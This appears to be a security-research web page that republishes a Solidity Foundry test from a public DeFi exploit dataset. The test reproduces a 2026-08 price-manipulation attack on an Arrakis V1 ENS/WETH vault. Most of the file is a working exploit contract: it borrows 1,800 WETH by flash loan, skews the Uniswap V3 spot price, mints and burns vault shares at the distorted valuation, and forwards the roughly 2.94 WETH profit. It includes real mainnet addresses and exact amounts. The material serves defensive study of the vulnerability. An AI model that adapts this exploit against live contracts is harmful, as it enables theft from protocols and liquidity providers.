Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/ArrakisGUNI_exp.sol

Public reproduction file for dataset entry ArrakisGUNI.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/ArrakisGUNI_exp.sol169 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Arrakis Finance V1 (G-UNI) ENS/WETH vault — Uniswap V3 spot-price manipulation of mint/burn —
8// Ethereum mainnet, 2026-08. Attacker net surplus ~2.9414 ETH in a single flash-loan-funded tx.
9//
10// Exploit tx : 0x6ae3af4b2f25a56594de99cfb31369150dd9ac059c49efe04b9e3e0163dbc672 (block 25817966)
11// Attacker EOA : 0xa3B096e4df1247794599a37Af8F5b8CB05D5EB44
12// Attack ctrt : 0x028d9C17B1a097e7e115A6400203df86339BAf4a (original; NOT replayed here)
13// Victim vault : 0x7c687f775A3b73BBAb0E15832F24caaB5D53bDDe (Arrakis V1 G-UNI ENS/WETH, proxy;
14// impl ArrakisVaultV1 0xd68b055fB444D136e3ac4Df023f4c42334F06395)
15//
16// Root cause (verified against the on-chain trace and the verified ArrakisVaultV1 source, NOT a
17// key/signer/admin compromise): the vault values its Uniswap V3 position for the permissionless
18// mint()/burn() deposit-withdraw path off the pool's INSTANTANEOUS slot0() spot price
19// (getUnderlyingBalances -> LiquidityAmounts on the live sqrtPriceX96). The contract's TWAP /
20// deviation guard wraps only the manager rebalance() path; mint()/burn() have no TWAP and no
21// deviation check. So an unprivileged caller can push the V3 tick with a swap, mint shares at the
22// skewed valuation, restore the tick, and burn the shares for a richer token mix than deposited.
23//
24// Exact sequence and amounts, reconstructed 1:1 from the trace as ordinary typed calls (no bytecode
25// blob, no raw calldata replay, no redeploy of the original attack contract). token0 = WETH,
26// token1 = ENS. All inside one Morpho Blue flash loan:
27// 1. flashLoan 1,800 WETH from Morpho.
28// 2. swap 150 WETH -> ENS on the V3 pool down to the min-price bound (skews the tick): ~145.42
29// WETH in, ~13,292.5 ENS out.
30// 3. vault.mint(4486619135659964587643, this): deposit ~1,253.39 WETH + ~13,159.59 ENS for the
31// shares, priced at the skewed spot.
32// 4. swap ~132.93 ENS -> WETH (partial tick restore).
33// 5. vault.burn(same shares, this): redeem ~1,248.41 WETH + ~13,283.30 ENS — a WETH-poorer but
34// ENS-richer mix than was deposited.
35// 6. swap the entire ENS balance back to WETH, then repay the 1,800 WETH flash loan.
36// The ~2.9414 WETH left over is the profit. (On-chain the attack contract skimmed a fixed 0.05
37// ETH tip to 0x4838B106... and forwarded the rest to the EOA; that tip is not part of the
38// vulnerability, so this PoC measures the raw WETH surplus and omits the skim.)
39//
40// The vulnerable valuation math runs inside the vault's and pool's real on-chain contracts on the
41// fork; this file only issues the same public calls the attacker did, with the on-chain amounts.
42//
43// forge test --contracts src/test/2026-08/ArrakisGUNI_exp.sol -vvv
45interface IMorpho {
46 function flashLoan(
47 address token,
48 uint256 assets,
49 bytes calldata data
50 ) external;
53interface IUniV3Pool {
54 function swap(
55 address recipient,
56 bool zeroForOne,
57 int256 amountSpecified,
58 uint160 sqrtPriceLimitX96,
59 bytes calldata data
60 ) external returns (int256 amount0, int256 amount1);
63interface IArrakisVaultV1 {
64 function mint(
65 uint256 mintAmount,
66 address receiver
67 ) external returns (uint256 amount0, uint256 amount1, uint128 liquidityMinted);
68 function burn(
69 uint256 burnAmount,
70 address receiver
71 ) external returns (uint256 amount0, uint256 amount1, uint128 liquidityBurned);
74contract ArrakisGUNIAttack {
75 IMorpho internal constant MORPHO = IMorpho(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
76 IUniV3Pool internal constant POOL = IUniV3Pool(0xb9C4a5522a2f8bA9E2fF7063Df8C02ed443337A3);
77 IArrakisVaultV1 internal constant VAULT = IArrakisVaultV1(0x7c687f775A3b73BBAb0E15832F24caaB5D53bDDe);
78 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token0
79 IERC20 internal constant ENS = IERC20(0xC18360217D8F7Ab5e7c516566761Ea12Ce7F9D72); // token1
81 uint160 internal constant MIN_SQRT = 4_295_128_740; // MIN_SQRT_RATIO + 1
82 uint160 internal constant MAX_SQRT = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341; // MAX - 1
84 // Exact on-chain amounts.
85 uint256 internal constant FLASH = 1800e18;
86 uint256 internal constant SKEW_WETH_IN = 150e18; // swapped down to the min-price bound
87 uint256 internal constant MINT_SHARES = 4_486_619_135_659_964_587_643;
88 uint256 internal constant RESTORE_ENS_IN = 132_925_127_733_721_320_656;
90 address internal immutable owner;
92 constructor() {
93 owner = msg.sender;
94 }
96 function attack() external returns (uint256 profit) {
97 MORPHO.flashLoan(address(WETH), FLASH, "");
98 profit = WETH.balanceOf(address(this));
99 WETH.transfer(owner, profit); // forward the surplus to the caller
100 }
102 // Morpho hands over 1,800 WETH here and reclaims it via transferFrom when this returns.
103 function onMorphoFlashLoan(
104 uint256 assets,
105 bytes calldata
106 ) external {
107 require(msg.sender == address(MORPHO), "not morpho");
108 WETH.approve(address(MORPHO), assets);
109 WETH.approve(address(VAULT), type(uint256).max);
110 ENS.approve(address(VAULT), type(uint256).max);
112 // Skew the tick: dump WETH for ENS down to the min-price bound.
113 POOL.swap(address(this), true, int256(SKEW_WETH_IN), MIN_SQRT, "");
115 // Mint vault shares at the distorted spot valuation.
116 VAULT.mint(MINT_SHARES, address(this));
118 // Partially restore the tick.
119 POOL.swap(address(this), false, int256(RESTORE_ENS_IN), MAX_SQRT, "");
121 // Redeem the shares for the richer token mix.
122 VAULT.burn(MINT_SHARES, address(this));
124 // Sell the entire ENS balance back to WETH.
125 POOL.swap(address(this), false, int256(ENS.balanceOf(address(this))), MAX_SQRT, "");
126 }
128 // Pay the Uniswap V3 pool the token it is owed for each swap.
129 function uniswapV3SwapCallback(
130 int256 amount0Delta,
131 int256 amount1Delta,
132 bytes calldata
133 ) external {
134 require(msg.sender == address(POOL), "not pool");
135 if (amount0Delta > 0) WETH.transfer(address(POOL), uint256(amount0Delta));
136 if (amount1Delta > 0) ENS.transfer(address(POOL), uint256(amount1Delta));
137 }
140contract ArrakisGUNI_exp is BaseTestWithBalanceLog {
141 address internal constant ATTACKER = 0xa3B096e4df1247794599a37Af8F5b8CB05D5EB44;
142 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
144 uint256 internal constant FORK_BLOCK = 25_817_965; // parent of the exploit block 25817966
145 uint256 internal constant EXPECTED_PROFIT = 2_941_350_352_900_037_140; // ~2.9414 WETH
147 function setUp() public {
148 vm.createSelectFork("mainnet", FORK_BLOCK);
149 vm.label(ATTACKER, "AttackerEOA");
150 vm.label(0x7c687f775A3b73BBAb0E15832F24caaB5D53bDDe, "ArrakisVault");
151 vm.label(0xb9C4a5522a2f8bA9E2fF7063Df8C02ed443337A3, "UniV3Pool");
152 }
154 function testExploit() public {
155 uint256 before = WETH.balanceOf(ATTACKER);
157 // Permissionless: run it as the attacker EOA and forward the surplus there.
158 vm.prank(ATTACKER, ATTACKER);
159 ArrakisGUNIAttack exploit = new ArrakisGUNIAttack();
160 uint256 profit = exploit.attack();
162 uint256 gain = WETH.balanceOf(ATTACKER) - before;
163 emit log_named_decimal_uint("attacker WETH surplus", gain, 18);
165 assertEq(gain, profit, "surplus landed with attacker");
166 // Reproduced surplus matches the reported ~2.9414 ETH.
167 assertApproxEqAbs(gain, EXPECTED_PROFIT, 0.02e18, "surplus off expected ~2.9414 ETH");
168 }

Analysis

Dataset entry

Public Foundry test for “ArrakisGUNI” (2026-08-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xa3b096e4df1247794599a37af8f5b8cb05d5eb44

  • Victim

    0x7c687f775a3b73bbab0e15832f24caab5d53bdde

File record

Name
ArrakisGUNI
Path
src/test/2026-08/ArrakisGUNI_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
75bc67e1ec99ecca98d53665fb2240c53d094aaa
Language
Solidity
Size
170 lines
Date
2026-08-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-08/ArrakisGUNI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 75bc67e1ec99ecca98d53665fb2240c53d094aaa, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.